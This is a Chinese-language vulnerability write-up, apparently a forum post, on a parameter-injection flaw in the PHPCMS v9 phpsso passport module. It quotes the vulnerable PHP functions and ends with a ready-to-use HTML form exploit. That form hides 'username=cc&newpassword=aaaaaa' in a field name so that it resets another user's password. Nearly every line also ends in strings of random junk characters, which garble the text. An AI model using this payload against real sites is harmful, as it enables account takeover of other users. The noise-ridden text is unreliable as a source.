提到的通行证的代码:: J6 s) K( E: y4 @! {5 Q9 m* y
) \4 ]! ?- W( T
) k) z# m3 g8 c9 \1 ]: bparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);' l" i% F6 O0 `$ o @& X
" Y2 o' C) U$ X% F; Y6 b- U
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
! H# j) e$ {' G# q) c0 Y4 O* s
: i/ ^2 Z) c. n1 c我把它留给了你们。
4 ]1 k7 C" Q7 K# X. ~不知道你们发现了它没有。2 p5 A7 x# {# Z2 T* ~$ c
, S3 Q& h/ F+ i4 a6 F我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
y9 s [6 n1 e
; R# m+ v# D. z1 S8 t. p& ^" z所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
2 y4 Y4 a8 I) X% e V. H @3 O$ o& w
4 y& @% j& A, c( k6 C也就是$ s* [+ A* p+ |
! [( e) i, l4 b* g5 T
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。2 O$ C5 J! i, v. h) \
$ h, S" c; R' Q1 G7 ~1 \: ~
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
- A- l) a, {! H& j3 U0 g+ p& o$ b9 W- v+ W+ T" z
/ {- i. V+ f: [* S; i/ w+ p) w5 P
其实我们有这样的机会,看看代码,如下:
& v8 d' d9 {; ~# @% b9 S/ ?. [; w$ x% Y1 F z* Y9 f2 g
2 z7 ~$ M: _+ T2 P3 L1 Z
public function auth_data($data) {
; U. N7 R/ _% p9 @; {8 V $s = $sep = '';) A: u0 x4 p, y! }- T
foreach($data as $k => $v) {& x) m1 P3 l* q3 r8 p& z! M
if(is_array($v)) {
( U0 j& a( P8 ^; K+ ?7 i6 } $s2 = $sep2 = '';/ O( a8 L/ }. A! f
foreach($v as $k2 => $v2) {( n" d" o! }% E' p* ~
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
8 s; o. l" X4 y; A3 r0 ?6 r $sep2 = '&';
; P/ |3 D' h+ |+ K }
j, @+ K" _6 y7 I $s .= $sep.$s2;- i9 a* B( \0 i$ o8 e, }
} else {
: A8 ]; N+ T( @6 L& G$ F $s .= "$sep$k=".$this->_ps_stripslashes($v);+ \ A& E+ }$ W2 w( y
}
; v: ?9 h) R; ?7 { $sep = '&';
9 Q& j9 [ ]% z, a. q; s6 k% E }! A# G& h9 Y0 `! f0 G9 }
6 z' U9 {0 p2 u4 u6 \( |) p* ?5 v $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));" @6 v) z1 R* T$ o7 `
return $auth_s;
8 w% j* ?: b9 i6 o% T" P: C% p- _ }# _% x9 }% D# e0 P
5 [) V/ a! A4 k
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
+ l) ?( Q4 I0 A1 \& }$ A" E+ [; M" Q B* @. ]
举个例子
* F; R' x: B Q' @: w H
: H& S5 y4 U2 Z% O( C$a[aaa=a&bbb] = 'a';1 \5 ~( g8 |% T9 m: w2 A* \
) n% N0 g: g: o1 p3 x( H6 @
会变成aaa=a&bbb=a
. N! Q4 b$ i+ E& c4 i0 b8 X' C$ q# t" X n
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
5 a0 \: O A+ l! Y0 `% J6 K* s5 `1 R
这个时候,我们可以再去看一个函数。' k8 i: Q5 H2 }
9 R+ [/ ^( u5 f* P( _' V
就在这个文件内:
( l2 J1 H" F: a! h- z
1 o- ?" {4 b$ ^/ B$ z, V: F8 X5 R. Q; Y- l/ p
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
% T3 r+ s1 [% ?. P4 i1 y! g, a if($email && !$this->_is_email($email)) {2 V) O! M* e" C& v
return -4;2 E. m# P w8 I5 z" R
}5 W2 j+ z5 ^* r* f
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));0 {8 k; D* ~: T: [7 b
}
2 i, z/ u: [/ z, r, U
- V9 N* w$ g5 j5 Q# N `0 \* ?, U这是向通行证发了这样一个请求。
) u: X. ^- a: }$ U. _6 N
3 F, ^# S& u4 ^) F9 I* P- S- }7 B% [我们再跟到通信证代码里去看看,就会有所发现。$ s1 \' {+ k* Y7 k- a; X
. Z: ]; m1 J( E1 T( d
$ k2 h$ M, Y3 u) R5 w1 c. hpublic function edit() {7 m1 v# U7 w7 v$ q% v! C/ F4 E w
//能省就省,太长了不是吗?
7 g3 x( h7 F- F; B5 X$ M% G; R) A- B1 \1 a# R. b
if($this->username) {
- U, ~5 w i) k5 @2 X//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。: O; b: [3 x8 k; M R9 B* E( @7 h+ j
$res = $this->db->update($data, array('username'=>$this->username));
& f6 a" J0 H8 W: Y } else {9 a4 s0 o/ ?- ?3 ?+ q' ~
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
: ]; M r3 W$ Z& ^) n $res = $this->db->update($data, array('uid'=>$this->uid));
8 e( r* m" M9 D/ | }
' B- W% K, Q, P1 m! O' W% [1 }' x# F9 s4 O, e: v7 P( X* o' B
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
2 K+ y% {4 y# u# Z4 D
) X: N& k) O- p- ~$ r5 ]! w1 ]public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
3 v& M; y# T4 ]& o: b2 E8 ~( r" n$ c
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
) d4 Z N$ q7 D8 P# \4 _2 ~: `( q
% E4 X1 c) f& V- a1 j我当然找到了:1 H0 q% N" h7 _
phpcms9/phpcms/modules/member/index.php
/ I6 c" I% d2 C3 ?. _
' t- |' O, c" P* V1 a" v8 c' r& u: I. a$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);/ d1 e8 ^% I( w8 Q9 w/ N
! y* A7 B, c# d+ X) }# d- m然后就没有然后了。9 Q- _" m0 m! t
; o2 b6 L' u/ `. d# X
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
- g' q& a g* Z8 r4 a+ { <table width="100%" cellspacing="0" class="table_form">
8 v6 [ T8 V! \+ N <tr>
0 H6 ]; M/ ~4 c0 ~+ ] <th width="80">邮箱:</th>
/ Z4 s/ q7 Z# g0 j; S1 Y* g6 i <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>+ o7 S5 C! }' e/ X2 Z8 _/ w
</tr>, H4 J/ {& Y9 W
<tr>) C r4 Q) b: C6 l: C# `* o; z
<th width="80">原密码:</th> & U4 M* R! M$ y) y( w4 A
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>+ m4 v2 K# x0 M$ y. w0 j
</tr>
& f) U3 R1 e- H9 l3 R* [0 v' N <tr>$ ~( V1 V& m0 f. z9 o
<th>新密码:</th>
+ J+ f8 F5 e: l5 l4 u9 K* W <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
* P' `" |8 `" b* A# t </tr>
; O$ Z t$ J, a0 x5 m3 J7 G <th></th>
8 \; l! G9 R+ e$ b2 j <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
* Y S" B1 ?# s$ J </tr>
( q1 { H8 ]. c' C </table>3 o0 H* i2 \$ P- f# M3 m7 ]( y; U
9 b) u( |6 i4 M- }, B- Q
/ F* R( c, Z0 p& }; v+ p </form>% T- s6 V4 X1 n, T
|